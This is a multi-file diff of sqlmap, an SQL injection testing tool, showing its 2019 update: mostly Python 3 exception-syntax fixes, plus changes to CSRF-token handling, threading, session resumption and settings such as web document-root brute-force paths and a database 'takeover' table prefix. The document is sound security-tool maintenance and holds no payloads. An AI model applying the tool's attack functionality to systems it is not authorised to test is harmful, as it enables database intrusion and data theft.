# Regular expression used for extracting ASP.NET view state values # Regular expression used for extracting ASP.NET view state values
VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)' VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -748,7 +768,7 @@ EVALCODE_KEYWORD_SUFFIX = "_KEYWORD"
NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File."
# Infixes used for automatic recognition of parameters carrying anti-CSRF tokens # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens
CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf") CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token")
# Prefixes used in brute force search for web server document root # Prefixes used in brute force search for web server document root
BRUTE_DOC_ROOT_PREFIXES = { BRUTE_DOC_ROOT_PREFIXES = {
@@ -756,6 +776,9 @@ BRUTE_DOC_ROOT_PREFIXES = {
OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%")
} }
# Table prefix to use in "takeover" functionalities (i.e. auxiliary tables used by sqlmap at the vulnerable DBMS)
TAKEOVER_TABLE_PREFIX = "sqlmap"
# Suffixes used in brute force search for web server document root # Suffixes used in brute force search for web server document root
BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build") BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build")
@@ -786,9 +809,17 @@ tr:nth-child(even) {
background-color: #D3DFEE background-color: #D3DFEE
} }
td{ td{
font-size:10px; font-size:12px;
} }
th{ th{
font-size:10px; font-size:12px;
} }
</style>""" </style>"""
# Leaving (dirty) possibility to change values from here (e.g. `export SQLMAP__MAX_NUMBER_OF_THREADS=20`)
for key, value in os.environ.items():
if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX):
_ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper()
if _ in globals():
globals()[_] = value
+28 -24
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -9,6 +9,7 @@ import atexit
import os import os
from lib.core import readlineng as readline from lib.core import readlineng as readline
from lib.core.common import getSafeExString
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import paths from lib.core.data import paths
from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import AUTOCOMPLETE_TYPE
@@ -53,30 +54,33 @@ def clearHistory():
readline.clear_history() readline.clear_history()
def saveHistory(completion=None): def saveHistory(completion=None):
if not readlineAvailable():
return
if completion == AUTOCOMPLETE_TYPE.SQL:
historyPath = paths.SQL_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.OS:
historyPath = paths.OS_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.API:
historyPath = paths.API_SHELL_HISTORY
else:
historyPath = paths.SQLMAP_SHELL_HISTORY
try: try:
with open(historyPath, "w+"): if not readlineAvailable():
return
if completion == AUTOCOMPLETE_TYPE.SQL:
historyPath = paths.SQL_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.OS:
historyPath = paths.OS_SHELL_HISTORY
elif completion == AUTOCOMPLETE_TYPE.API:
historyPath = paths.API_SHELL_HISTORY
else:
historyPath = paths.SQLMAP_SHELL_HISTORY
try:
with open(historyPath, "w+"):
pass
except:
pass pass
except:
pass
readline.set_history_length(MAX_HISTORY_LENGTH) readline.set_history_length(MAX_HISTORY_LENGTH)
try: try:
readline.write_history_file(historyPath) readline.write_history_file(historyPath)
except IOError, msg: except IOError as ex:
warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg) warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, getSafeExString(ex))
logger.warn(warnMsg) logger.warn(warnMsg)
except KeyboardInterrupt:
pass
def loadHistory(completion=None): def loadHistory(completion=None):
if not readlineAvailable(): if not readlineAvailable():
@@ -96,8 +100,8 @@ def loadHistory(completion=None):
if os.path.exists(historyPath): if os.path.exists(historyPath):
try: try:
readline.read_history_file(historyPath) readline.read_history_file(historyPath)
except IOError, msg: except IOError as ex:
warnMsg = "there was a problem loading the history file '%s' (%s)" % (historyPath, msg) warnMsg = "there was a problem loading the history file '%s' (%s)" % (historyPath, getSafeExString(ex))
logger.warn(warnMsg) logger.warn(warnMsg)
def autoCompletion(completion=None, os=None, commands=None): def autoCompletion(completion=None, os=None, commands=None):
+9 -9
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -31,7 +31,7 @@ def blockingReadFromFD(fd):
while True: while True:
try: try:
output += os.read(fd, 8192) output += os.read(fd, 8192)
except (OSError, IOError), ioe: except (OSError, IOError) as ioe:
if ioe.args[0] in (errno.EAGAIN, errno.EINTR): if ioe.args[0] in (errno.EAGAIN, errno.EINTR):
# Uncomment the following line if the process seems to # Uncomment the following line if the process seems to
# take a huge amount of cpu time # take a huge amount of cpu time
@@ -52,7 +52,7 @@ def blockingWriteToFD(fd, data):
try: try:
data_length = len(data) data_length = len(data)
wrote_data = os.write(fd, data) wrote_data = os.write(fd, data)
except (OSError, IOError), io: except (OSError, IOError) as io:
if io.errno in (errno.EAGAIN, errno.EINTR): if io.errno in (errno.EAGAIN, errno.EINTR):
continue continue
else: else:
@@ -95,8 +95,8 @@ class Popen(subprocess.Popen):
(errCode, written) = WriteFile(x, input) (errCode, written) = WriteFile(x, input)
except ValueError: except ValueError:
return self._close('stdin') return self._close('stdin')
except (subprocess.pywintypes.error, Exception), why: except (subprocess.pywintypes.error, Exception) as ex:
if why[0] in (109, errno.ESHUTDOWN): if ex[0] in (109, errno.ESHUTDOWN):
return self._close('stdin') return self._close('stdin')
raise raise
@@ -116,8 +116,8 @@ class Popen(subprocess.Popen):
(errCode, read) = ReadFile(x, nAvail, None) (errCode, read) = ReadFile(x, nAvail, None)
except (ValueError, NameError): except (ValueError, NameError):
return self._close(which) return self._close(which)
except (subprocess.pywintypes.error, Exception), why: except (subprocess.pywintypes.error, Exception) as ex:
if why[0] in (109, errno.ESHUTDOWN): if ex[0] in (109, errno.ESHUTDOWN):
return self._close(which) return self._close(which)
raise raise
@@ -134,8 +134,8 @@ class Popen(subprocess.Popen):
try: try:
written = os.write(self.stdin.fileno(), input) written = os.write(self.stdin.fileno(), input)
except OSError, why: except OSError as ex:
if why[0] == errno.EPIPE: # broken pipe if ex[0] == errno.EPIPE: # broken pipe
return self._close('stdin') return self._close('stdin')
raise raise
+40 -48
View File
@@ -1,11 +1,10 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import codecs
import functools import functools
import os import os
import re import re
@@ -45,6 +44,7 @@ from lib.core.enums import POST_HINT
from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapFilePathException
from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapGenericException
from lib.core.exception import SqlmapMissingPrivileges from lib.core.exception import SqlmapMissingPrivileges
from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapUserQuitException
from lib.core.option import _setDBMS from lib.core.option import _setDBMS
@@ -52,9 +52,11 @@ from lib.core.option import _setKnowledgeBaseAttributes
from lib.core.option import _setAuthCred from lib.core.option import _setAuthCred
from lib.core.settings import ASTERISK_MARKER from lib.core.settings import ASTERISK_MARKER
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import HOST_ALIASES from lib.core.settings import HOST_ALIASES
from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX
from lib.core.settings import INJECT_HERE_REGEX
from lib.core.settings import JSON_RECOGNITION_REGEX from lib.core.settings import JSON_RECOGNITION_REGEX
from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX from lib.core.settings import JSON_LIKE_RECOGNITION_REGEX
from lib.core.settings import MULTIPART_RECOGNITION_REGEX from lib.core.settings import MULTIPART_RECOGNITION_REGEX
@@ -344,7 +346,7 @@ def _setRequestParams():
# Url encoding of the header values should be avoided # Url encoding of the header values should be avoided
# Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value
if httpHeader.title() == HTTP_HEADER.USER_AGENT: if httpHeader.upper() == HTTP_HEADER.USER_AGENT.upper():
conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue) conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue)
condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True))) condition = any((not conf.testParameter, intersect(conf.testParameter, USER_AGENT_ALIASES, True)))
@@ -353,7 +355,7 @@ def _setRequestParams():
conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue} conf.paramDict[PLACE.USER_AGENT] = {PLACE.USER_AGENT: headerValue}
testableParameters = True testableParameters = True
elif httpHeader.title() == HTTP_HEADER.REFERER: elif httpHeader.upper() == HTTP_HEADER.REFERER.upper():
conf.parameters[PLACE.REFERER] = urldecode(headerValue) conf.parameters[PLACE.REFERER] = urldecode(headerValue)
condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True))) condition = any((not conf.testParameter, intersect(conf.testParameter, REFERER_ALIASES, True)))
@@ -362,7 +364,7 @@ def _setRequestParams():
conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue} conf.paramDict[PLACE.REFERER] = {PLACE.REFERER: headerValue}
testableParameters = True testableParameters = True
elif httpHeader.title() == HTTP_HEADER.HOST: elif httpHeader.upper() == HTTP_HEADER.HOST.upper():
conf.parameters[PLACE.HOST] = urldecode(headerValue) conf.parameters[PLACE.HOST] = urldecode(headerValue)
condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True))) condition = any((not conf.testParameter, intersect(conf.testParameter, HOST_ALIASES, True)))
@@ -391,8 +393,8 @@ def _setRequestParams():
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
if conf.csrfToken: if conf.csrfToken:
if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}): if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken._original
errMsg += "found in provided GET, POST, Cookie or header values" errMsg += "found in provided GET, POST, Cookie or header values"
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
else: else:
@@ -406,7 +408,10 @@ def _setRequestParams():
message += "Do you want sqlmap to automatically update it in further requests? [y/N] " message += "Do you want sqlmap to automatically update it in further requests? [y/N] "
if readInput(message, default='N', boolean=True): if readInput(message, default='N', boolean=True):
conf.csrfToken = getUnicode(parameter) class _(unicode):
pass
conf.csrfToken = _(re.escape(getUnicode(parameter)))
conf.csrfToken._original = getUnicode(parameter)
break break
def _setHashDB(): def _setHashDB():
@@ -422,8 +427,8 @@ def _setHashDB():
try: try:
os.remove(conf.hashDBFile) os.remove(conf.hashDBFile)
logger.info("flushing session file") logger.info("flushing session file")
except OSError, msg: except OSError as ex:
errMsg = "unable to flush the session file (%s)" % msg errMsg = "unable to flush the session file ('%s')" % getSafeExString(ex)
raise SqlmapFilePathException(errMsg) raise SqlmapFilePathException(errMsg)
conf.hashDB = HashDB(conf.hashDBFile) conf.hashDB = HashDB(conf.hashDBFile)
@@ -467,7 +472,13 @@ def _resumeDBMS():
value = hashDBRetrieve(HASHDB_KEYS.DBMS) value = hashDBRetrieve(HASHDB_KEYS.DBMS)
if not value: if not value:
return if conf.offline:
errMsg = "unable to continue in offline mode "
errMsg += "because of lack of usable "
errMsg += "session data"
raise SqlmapNoneDataException(errMsg)
else:
return
dbms = value.lower() dbms = value.lower()
dbmsVersion = [UNKNOWN_DBMS_VERSION] dbmsVersion = [UNKNOWN_DBMS_VERSION]
@@ -547,7 +558,7 @@ def _setResultsFile():
conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower()) conf.resultsFilename = os.path.join(paths.SQLMAP_OUTPUT_PATH, time.strftime(RESULTS_FILE_FORMAT).lower())
try: try:
conf.resultsFP = openFile(conf.resultsFilename, "a", UNICODE_ENCODING, buffering=0) conf.resultsFP = openFile(conf.resultsFilename, "a", UNICODE_ENCODING, buffering=0)
except (OSError, IOError), ex: except (OSError, IOError) as ex:
try: try:
warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex)) warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex))
handle, conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv") handle, conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
@@ -555,7 +566,7 @@ def _setResultsFile():
conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0) conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0)
warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename
logger.warn(warnMsg) logger.warn(warnMsg)
except IOError, _: except IOError as _:
errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg = "unable to write to the temporary directory ('%s'). " % _
errMsg += "Please make sure that your disk is not full and " errMsg += "Please make sure that your disk is not full and "
errMsg += "that you have sufficient write permissions to " errMsg += "that you have sufficient write permissions to "
@@ -579,7 +590,7 @@ def _createFilesDir():
if not os.path.isdir(conf.filePath): if not os.path.isdir(conf.filePath):
try: try:
os.makedirs(conf.filePath) os.makedirs(conf.filePath)
except OSError, ex: except OSError as ex:
tempDir = tempfile.mkdtemp(prefix="sqlmapfiles") tempDir = tempfile.mkdtemp(prefix="sqlmapfiles")
warnMsg = "unable to create files directory " warnMsg = "unable to create files directory "
warnMsg += "'%s' (%s). " % (conf.filePath, getUnicode(ex)) warnMsg += "'%s' (%s). " % (conf.filePath, getUnicode(ex))
@@ -601,7 +612,7 @@ def _createDumpDir():
if not os.path.isdir(conf.dumpPath): if not os.path.isdir(conf.dumpPath):
try: try:
os.makedirs(conf.dumpPath) os.makedirs(conf.dumpPath)
except OSError, ex: except OSError as ex:
tempDir = tempfile.mkdtemp(prefix="sqlmapdump") tempDir = tempfile.mkdtemp(prefix="sqlmapdump")
warnMsg = "unable to create dump directory " warnMsg = "unable to create dump directory "
warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex)) warnMsg += "'%s' (%s). " % (conf.dumpPath, getUnicode(ex))
@@ -619,45 +630,15 @@ def _createTargetDirs():
Create the output directory. Create the output directory.
""" """
for context in "output", "history":
directory = paths["SQLMAP_%s_PATH" % context.upper()]
try:
if not os.path.isdir(directory):
os.makedirs(directory)
_ = os.path.join(directory, randomStr())
open(_, "w+b").close()
os.remove(_)
if conf.outputDir and context == "output":
warnMsg = "using '%s' as the %s directory" % (directory, context)
logger.warn(warnMsg)
except (OSError, IOError), ex:
try:
tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context)
except Exception, _:
errMsg = "unable to write to the temporary directory ('%s'). " % _
errMsg += "Please make sure that your disk is not full and "
errMsg += "that you have sufficient write permissions to "
errMsg += "create temporary files and/or directories"
raise SqlmapSystemException(errMsg)
warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context)
warnMsg += "'%s' (%s). " % (directory, getUnicode(ex))
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
logger.warn(warnMsg)
paths["SQLMAP_%s_PATH" % context.upper()] = tempDir
conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname))) conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname)))
try: try:
if not os.path.isdir(conf.outputPath): if not os.path.isdir(conf.outputPath):
os.makedirs(conf.outputPath) os.makedirs(conf.outputPath)
except (OSError, IOError, TypeError), ex: except (OSError, IOError, TypeError) as ex:
try: try:
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
except Exception, _: except Exception as _:
errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg = "unable to write to the temporary directory ('%s'). " % _
errMsg += "Please make sure that your disk is not full and " errMsg += "Please make sure that your disk is not full and "
errMsg += "that you have sufficient write permissions to " errMsg += "that you have sufficient write permissions to "
@@ -680,7 +661,7 @@ def _createTargetDirs():
f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding)) f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding))
if conf.data: if conf.data:
f.write("\n\n%s" % getUnicode(conf.data)) f.write("\n\n%s" % getUnicode(conf.data))
except IOError, ex: except IOError as ex:
if "denied" in getUnicode(ex): if "denied" in getUnicode(ex):
errMsg = "you don't have enough permissions " errMsg = "you don't have enough permissions "
else: else:
@@ -693,6 +674,13 @@ def _createTargetDirs():
_createFilesDir() _createFilesDir()
_configureDumper() _configureDumper()
def _setAuxOptions():
"""
Setup auxiliary (host-dependent) options
"""
kb.aliasName = randomStr(seed=hash(conf.hostname or ""))
def _restoreMergedOptions(): def _restoreMergedOptions():
""" """
Restore merged options (command line, configuration file and default values) Restore merged options (command line, configuration file and default values)
@@ -739,6 +727,9 @@ def initTargetEnv():
setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original) setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original)
kb.postSpaceToPlus = '+' in original kb.postSpaceToPlus = '+' in original
match = re.search(INJECT_HERE_REGEX, conf.data or "") or re.search(INJECT_HERE_REGEX, conf.url or "")
kb.customInjectionMark = match.group(0) if match else CUSTOM_INJECTION_MARK_CHAR
def setupTargetEnv(): def setupTargetEnv():
_createTargetDirs() _createTargetDirs()
_setRequestParams() _setRequestParams()
@@ -746,3 +737,4 @@ def setupTargetEnv():
_resumeHashDBValues() _resumeHashDBValues()
_setResultsFile() _setResultsFile()
_setAuthCred() _setAuthCred()
_setAuxOptions()
+11 -7
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -17,6 +17,7 @@ import traceback
from extra.beep.beep import beep from extra.beep.beep import beep
from lib.controller.controller import start from lib.controller.controller import start
from lib.core.common import checkIntegrity
from lib.core.common import clearConsoleLine from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getUnicode from lib.core.common import getUnicode
@@ -51,6 +52,9 @@ def smokeTest():
retVal = True retVal = True
count, length = 0, 0 count, length = 0, 0
if not checkIntegrity():
retVal = False
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
if any(_ in root for _ in ("thirdparty", "extra")): if any(_ in root for _ in ("thirdparty", "extra")):
continue continue
@@ -71,10 +75,10 @@ def smokeTest():
try: try:
__import__(path) __import__(path)
module = sys.modules[path] module = sys.modules[path]
except Exception, msg: except Exception as ex:
retVal = False retVal = False
dataToStdout("\r") dataToStdout("\r")
errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), msg) errMsg = "smoke test failed at importing module '%s' (%s):\n%s" % (path, os.path.join(root, filename), ex)
logger.error(errMsg) logger.error(errMsg)
else: else:
# Run doc tests # Run doc tests
@@ -271,10 +275,10 @@ def runCase(parse):
result = start() result = start()
except KeyboardInterrupt: except KeyboardInterrupt:
pass pass
except SqlmapBaseException, e: except SqlmapBaseException as ex:
handled_exception = e handled_exception = ex
except Exception, e: except Exception as ex:
unhandled_exception = e unhandled_exception = ex
finally: finally:
sys.stdout.seek(0) sys.stdout.seek(0)
console = sys.stdout.read() console = sys.stdout.read()
+16 -14
View File
@@ -1,10 +1,12 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from __future__ import print_function
import difflib import difflib
import random import random
import threading import threading
@@ -16,6 +18,7 @@ from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.datatype import AttribDict from lib.core.datatype import AttribDict
from lib.core.enums import PAYLOAD from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapBaseException
from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapThreadException from lib.core.exception import SqlmapThreadException
from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapUserQuitException
@@ -91,11 +94,12 @@ def exceptionHandledFunction(threadFunction, silent=False):
kb.threadContinue = False kb.threadContinue = False
kb.threadException = True kb.threadException = True
raise raise
except Exception, ex: except Exception as ex:
if not silent: if not silent and kb.get("threadContinue"):
logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) errMsg = ex.message if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, ex.message)
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
if conf.verbose > 1: if conf.get("verbose") > 1:
traceback.print_exc() traceback.print_exc()
def setDaemon(thread): def setDaemon(thread):
@@ -108,7 +112,6 @@ def setDaemon(thread):
def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True):
threads = [] threads = []
kb.multiThreadMode = True
kb.threadContinue = True kb.threadContinue = True
kb.threadException = False kb.threadException = False
@@ -150,7 +153,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
try: try:
thread.start() thread.start()
except Exception, ex: except Exception as ex:
errMsg = "error occurred while starting new thread ('%s')" % ex.message errMsg = "error occurred while starting new thread ('%s')" % ex.message
logger.critical(errMsg) logger.critical(errMsg)
break break
@@ -166,8 +169,8 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
alive = True alive = True
time.sleep(0.1) time.sleep(0.1)
except (KeyboardInterrupt, SqlmapUserQuitException), ex: except (KeyboardInterrupt, SqlmapUserQuitException) as ex:
print print()
kb.prependFlag = False kb.prependFlag = False
kb.threadContinue = False kb.threadContinue = False
kb.threadException = True kb.threadException = True
@@ -184,25 +187,24 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
if forwardException: if forwardException:
raise raise
except (SqlmapConnectionException, SqlmapValueException), ex: except (SqlmapConnectionException, SqlmapValueException) as ex:
print print()
kb.threadException = True kb.threadException = True
logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
if conf.verbose > 1: if conf.get("verbose") > 1:
traceback.print_exc() traceback.print_exc()
except: except:
from lib.core.common import unhandledExceptionMessage from lib.core.common import unhandledExceptionMessage
print print()
kb.threadException = True kb.threadException = True
errMsg = unhandledExceptionMessage() errMsg = unhandledExceptionMessage()
logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg))
traceback.print_exc() traceback.print_exc()
finally: finally:
kb.multiThreadMode = False
kb.bruteMode = False kb.bruteMode = False
kb.threadContinue = True kb.threadContinue = True
kb.threadException = False kb.threadException = False
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+5 -5
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -51,7 +51,7 @@ def update():
try: try:
open(os.path.join(directory, "sqlmap.py"), "w+b") open(os.path.join(directory, "sqlmap.py"), "w+b")
except Exception, ex: except Exception as ex:
errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex)) errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex))
logger.error(errMsg) logger.error(errMsg)
else: else:
@@ -85,7 +85,7 @@ def update():
version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1) version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1)
logger.info("updated to the latest version '%s#dev'" % version) logger.info("updated to the latest version '%s#dev'" % version)
success = True success = True
except Exception, ex: except Exception as ex:
logger.error("update could not be completed ('%s')" % getSafeExString(ex)) logger.error("update could not be completed ('%s')" % getSafeExString(ex))
else: else:
if not success: if not success:
@@ -103,14 +103,14 @@ def update():
debugMsg = "sqlmap will try to update itself using 'git' command" debugMsg = "sqlmap will try to update itself using 'git' command"
logger.debug(debugMsg) logger.debug(debugMsg)
dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X")) dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X"))
try: try:
process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
pollProcess(process, True) pollProcess(process, True)
stdout, stderr = process.communicate() stdout, stderr = process.communicate()
success = not process.returncode success = not process.returncode
except (IOError, OSError), ex: except (IOError, OSError) as ex:
success = False success = False
stderr = getSafeExString(ex) stderr = getSafeExString(ex)
+5 -5
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -43,7 +43,7 @@ class Wordlist(object):
if os.path.splitext(self.current)[1].lower() == ".zip": if os.path.splitext(self.current)[1].lower() == ".zip":
try: try:
_ = zipfile.ZipFile(self.current, 'r') _ = zipfile.ZipFile(self.current, 'r')
except zipfile.error, ex: except zipfile.error as ex:
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
